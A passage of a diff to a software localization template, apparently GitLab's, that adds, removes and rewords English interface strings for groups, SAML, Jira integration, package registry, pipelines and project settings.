msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
